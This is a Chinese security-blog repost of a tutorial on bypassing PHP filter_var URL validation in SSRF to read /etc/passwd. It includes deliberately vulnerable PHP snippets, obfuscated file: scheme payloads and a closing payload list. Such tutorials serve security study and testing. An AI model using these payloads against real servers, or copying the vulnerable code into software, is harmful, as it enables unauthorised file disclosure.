SSRF -> 任意文件读取绕过新姿势

admin 2024年3月8日08:35:04评论26 views字数 2140阅读7分8秒阅读模式

Part 1: SSRF -> 任意文件读取绕过新姿势

SSRF -> 任意文件读取绕过新姿势

对于 SSRF,我在这里只对 LFR/LFD(本地文件读取/泄露)结果感兴趣,因此我使用了以下 3 种主要方法来在 PHP 中检索URL:

  • curl library
  • file_get_contents()
  • exec()

显然,对这些场景的利用如果没有任何验证或过滤就非常简单直接:

file:///etc/passwd

但我对简单验证的绕过感兴趣,比如由 filter_var() 提供的带有 FILTER_VALIDATE_URL 和 FILTER_FLAG_QUERY_REQUIRED 的验证,因为这些是验证 URL 的最基本方法,这是输入应该以合法方式传递给应用程序的内容。

因此,这是第一个存在漏洞的代码:

 1<?php
 2function curl($url) {
 3   $optArray = array(
 4      CURLOPT_URL => $url,
 5      CURLOPT_FOLLOWLOCATION => 1
 6   );
 7   $ch = curl_init();
 8   curl_setopt_array($ch, $optArray);
 9   $response = curl_exec($ch) or die("Error!");
10   curl_close($ch);
11
12   return $response;
13}
14$content = curl(filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
15echo $content;

它应该按照以下方式工作:

SSRF -> 任意文件读取绕过新姿势

正如您在下面所看到的,我们的默认有效载荷不起作用:

SSRF -> 任意文件读取绕过新姿势

但是以下有效:

payload1:

file:/etc/passwd?/

SSRF -> 任意文件读取绕过新姿势

请注意,甚至无需在 file 方案后使用三个斜杠。问号使其通过验证(模拟 URL 查询),需要在其后添加内容(非空查询)。

这个示例还接受了一种 URL 双重编码技巧,以帮助规避检测:

SSRF -> 任意文件读取绕过新姿势

让我们进入我们的第二种方法,使用 file_get_contents():

1<?php
2$f = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED) or die("Error!");
3echo file_get_contents($f);

再次,我们的默认有效载荷不起作用。

SSRF -> 任意文件读取绕过新姿势

但是我们的新构造起作用。

payload2:

file:///etc/?/../passwd

SSRF -> 任意文件读取绕过新姿势

再次,使用“?”使其通过验证,同时我们将其用作某个目录/文件夹的名称。然后,我们需要使用“/../”技巧来返回到“/etc/”。

对于我们的第三种情况,这是代码(暂时不考虑命令注入)

1<?php
2$url = filter_var($_GET["url"], FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED);
3exec('curl -L ' . $url, $content) or die("Error!");
4print_r($content);
5

使用默认有效载荷的虚拟尝试:

SSRF -> 任意文件读取绕过新姿势

以及成功的尝试。

payload3:

file:/etc/passwd?/

SSRF -> 任意文件读取绕过新姿势

这些与第一种情况相同,但它允许一些有趣的混淆技巧:

payload4:

1file:${br}/et${u}c/pas${te}swd?/
1因为 "${x}"(其中 "x" 可以是任何常规字符或字符串)是 Bash 中的变量替换,该变量必须不存在才能被简单丢弃在执行的命令中。也可以使用 "$(x)"

所以到目前为止,这是我们要添加到你的 SSRF 武器库中的列表!

 1file:/etc/passwd?/
 2file:/etc/passwd%3F/
 3file:/etc%252Fpasswd/
 4file:/etc%252Fpasswd%3F/
 5file:///etc/?/../passwd
 6file:///etc/%3F/../passwd
 7file:${br}/et${u}c/pas${te}swd?/
 8file:$(br)/et$(u)c/pas$(te)swd?/
 9file:${br}/et${u}c%252Fpas${te}swd?/
10file:$(br)/et$(u)c%252Fpas$(te)swd?/
11file:${br}/et${u}c%252Fpas${te}swd%3F/
12file:$(br)/et$(u)c%252Fpas$(te)swd%3F/
13file:///etc/passwd?/../passwd

这最后一个是适用于上述所有 3 种情况的 SSRF 多语言。

可以(或需要)对其他字符进行 URL 编码,如 ":"、"." 和 "/",这将稍微增加这个列表项。

期待下一篇 SSRF 新东西, 各位公众号粉丝宝宝,点点关注哦!

Thanks for https://rodoassis.medium.com/on-ssrf-server-side-request-forgery-or-simple-stuff-rodolfo-found-part-i-4edf7ee75389

Author: Rodolfo Assis

原文始发于微信公众号(湘安无事):SSRF -> 任意文件读取绕过新姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月8日08:35:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSRF -> 任意文件读取绕过新姿势http://cn-sec.com/archives/2557736.html

发表评论

匿名网友 填写信息